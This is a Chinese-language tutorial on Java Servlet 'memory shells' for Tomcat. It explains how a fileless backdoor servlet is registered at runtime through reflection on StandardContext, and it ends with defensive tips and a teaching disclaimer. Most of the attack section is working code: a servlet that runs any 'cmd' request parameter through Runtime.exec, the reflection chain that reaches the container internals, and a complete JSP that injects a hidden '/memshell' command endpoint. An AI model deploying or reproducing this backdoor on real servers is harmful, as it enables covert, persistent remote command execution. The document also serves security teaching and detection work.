Java Servlet内存马技术深度解析与实战教学
1. 概述
内存马(Memory Shell) 是一种高级的持久化后门技术。与传统Webshell(需要将恶意文件写入服务器磁盘)不同,内存马将恶意代码直接注入到目标Web容器的内存中执行,不留下任何文件痕迹,因此具有极强的隐蔽性,难以被传统的安全扫描工具检测。
Servlet内存马 是内存马的一种具体实现形式,它通过动态地向Java Web容器(如Tomcat、Jetty等)注册一个恶意的Servlet,从而在内存中创建一个可以响应HTTP请求的后门。
本教学文档将深入剖析Servlet内存马的技术原理、关键组件和完整实现过程。
2. 技术原理基础
要理解Servlet内存马,首先必须清楚Tomcat等容器是如何加载和管理Servlet的。
2.1 Tomcat的Servlet加载机制
-
启动与初始化(静态加载):
- 当Tomcat启动时,它会解析应用的
web.xml配置文件或扫描@WebServlet注解。 - 对于每个定义的Servlet,容器会创建其对应的
Wrapper对象(Wrapper是Tomcat对Servlet的封装),并调用Servlet的init()方法进行一次性初始化。 - 这个过程是静态的,在应用启动时完成,配置信息被固化。
- 当Tomcat启动时,它会解析应用的
-
请求处理流程(动态分发):
- 一个HTTP请求到达Tomcat后,经过Connector、Engine、Host,最终到达对应的Context(即您的Web应用)。
- 在Context层面,容器根据请求的URL路径,查找匹配的Servlet。这个URL到Servlet的映射关系存储在
StandardContext对象的servletMappings属性中。 - 找到对应的Servlet后,容器调用其
service()方法,进而分派到doGet(),doPost()等具体方法。
2.2 核心洞察:StandardContext 的关键角色
StandardContext 是Tomcat中 org.apache.catalina.core.StandardContext 类的实例,它是整个Web应用(Context)的运行时代表和管理中心。其核心职责包括:
- 持有所有Servlet的定义(存储在
children属性中,每个Servlet对应一个Wrapper)。 - 维护Servlet的URL映射关系(
servletMappings)。 - 管理Filter、Listener等组件。
- 提供动态注册Servlet的API(如
addChild(),addServletMappingDecoded(),这是Servlet 3.0+规范支持的特性)。
因此,Servlet内存马的核心攻击思路就是:在运行时,动态地获取到当前Web应用的 StandardContext 实例,然后向其“注入”一个恶意的 Wrapper(包含恶意Servlet)并添加一个隐藏的URL映射。
3. 关键组件详解
在实现内存马之前,需要理解几个关键内部组件:
| 组件 | 作用 | 说明 |
|---|---|---|
StandardContext |
Web应用的运行时管理器 | 内存马攻击的终极目标。通过它才能动态添加Servlet。 |
Wrapper |
Servlet的容器和包装器 | Tomcat内部用 Wrapper 对象来管理一个Servlet的生命周期(创建、初始化、调用、销毁)。注入内存马本质是创建一个新的 Wrapper。 |
ServletContext |
应用上下文的标准接口 | Java EE标准接口,应用层代码(如Servlet、JSP)可以通过 request.getServletContext() 合法获取。它是我们切入内部的“入口点”。 |
| 门面模式(Facade) | 隐藏内部复杂性的设计模式 | Tomcat使用 ApplicationContextFacade 类来包装内部的 ApplicationContext,防止用户直接操作核心内部对象。我们需要用反射突破这层封装。 |
4. 实现步骤详解
下面逐步拆解内存马的完整注入流程。
步骤一:创建恶意Servlet类
首先,需要定义一个继承自 HttpServlet 的类,在其 doGet 或 doPost 方法中执行恶意逻辑(如命令执行)。
public class EvilServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
// 示例:执行系统命令
String cmd = request.getParameter("cmd");
if (cmd != null) {
Runtime.getRuntime().exec(cmd);
}
response.getWriter().write("Hello from Memory Shell");
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
doGet(request, response);
}
}
步骤二:获取 StandardContext 实例(核心步骤)
这是我们无法直接 new StandardContext() 的,必须通过反射从合法的 ServletContext 对象中一层层剥离出来。
反射路径:
ServletRequest -> ServletContext (实际是 ApplicationContextFacade) -> ApplicationContext -> StandardContext
// 1. 从当前请求获取ServletContext(标准接口)
ServletContext servletContext = request.getServletContext();
// 2. 反射获取ApplicationContextFacade内部的'context'字段(其值是ApplicationContext)
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true); // 突破private限制
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
// 3. 反射获取ApplicationContext内部的'context'字段(其值是StandardContext)
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
成功获取 StandardContext 后,我们就拿到了内存马注入的“钥匙”。
步骤三:创建并配置 Wrapper
使用获取到的 StandardContext 实例来创建一个新的 Wrapper,并配置恶意Servlet。
// 1. 创建新的Wrapper
Wrapper wrapper = standardContext.createWrapper();
// 2. 设置Wrapper名称(必须唯一)
wrapper.setName("evilMemoryShell");
// 3. (关键)直接设置Servlet实例,而不是类名
// 这样做可以避免类加载问题,并确保恶意代码立即生效。
wrapper.setServlet(new EvilServlet());
// 注意:通常不调用 wrapper.setServletClass(...),因为我们已经有了实例。
步骤四:将 Wrapper 注册到 StandardContext
将配置好的 Wrapper 添加到 StandardContext 的 children 列表中。
standardContext.addChild(wrapper);
这步操作相当于在 web.xml 中静态声明了一个 <servlet>。
步骤五:注册URL映射
为刚刚注册的Servlet分配一个访问路径。
standardContext.addServletMappingDecoded("/evil", "evilMemoryShell");
这步操作相当于在 web.xml 中声明了 <servlet-mapping>。现在,访问 http://your-server.com/your-app/evil?cmd=whoami 就会触发恶意代码。
5. 完整内存马代码示例(JSP形态)
以下是将上述所有步骤整合在一起的JSP形态的内存马,可用于概念验证。
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="javax.servlet.ServletContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%!
// 1. 定义恶意Servlet
public class EvilServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
resp.getWriter().write("Memory Shell Active.");
}
}
%>
<%
// 2. 注入逻辑
try {
ServletContext ctx = request.getServletContext();
// 反射获取StandardContext
Field appCtxField = ctx.getClass().getDeclaredField("context");
appCtxField.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext) appCtxField.get(ctx);
Field stdCtxField = appCtx.getClass().getDeclaredField("context");
stdCtxField.setAccessible(true);
StandardContext standardContext = (StandardContext) stdCtxField.get(appCtx);
// 创建并配置Wrapper
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("memshell");
wrapper.setServlet(new EvilServlet()); // 直接设置实例是关键
// 注册到容器
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/memshell", "memshell");
out.println("Servlet Memory Shell Injected Successfully. Access path: /memshell");
} catch (Exception e) {
out.println("Injection Failed: " + e.getMessage());
e.printStackTrace();
}
%>
6. 总结与拓展
技术本质:Servlet内存马利用了Java反射机制和Tomcat容器的内部API,在运行时动态修改其核心数据结构(StandardContext),实现了无文件、内存驻留的恶意Servlet注册。
防御思路:
- 运行时监控:使用RASP(运行时应用自保护)技术监控
StandardContext.addChild()、addServletMappingDecoded()等危险方法的调用。 - 静态代码分析:在CI/CD流程中引入代码安全扫描,检测JSP等文件中的可疑反射代码。
- 最小权限原则:确保应用运行在受限的安全管理器(SecurityManager)策略下,限制反射操作。
- 定期排查:使用专业的内存马检测工具或脚本,定期扫描运行中的Java进程,检查未知的Servlet和Filter。
拓展:基于同样的原理,攻击者还可以注入Filter内存马和Listener内存马,其核心思路都是通过反射获取 StandardContext,然后调用其 addFilter() 或 addApplicationListener() 等方法。Filter内存马由于拦截所有请求,具有更大的攻击面。
免责声明:本文档仅用于安全教学和技术研究目的,旨在帮助安全人员理解攻击原理以便更好地进行防御。请勿将相关技术用于任何非法活动。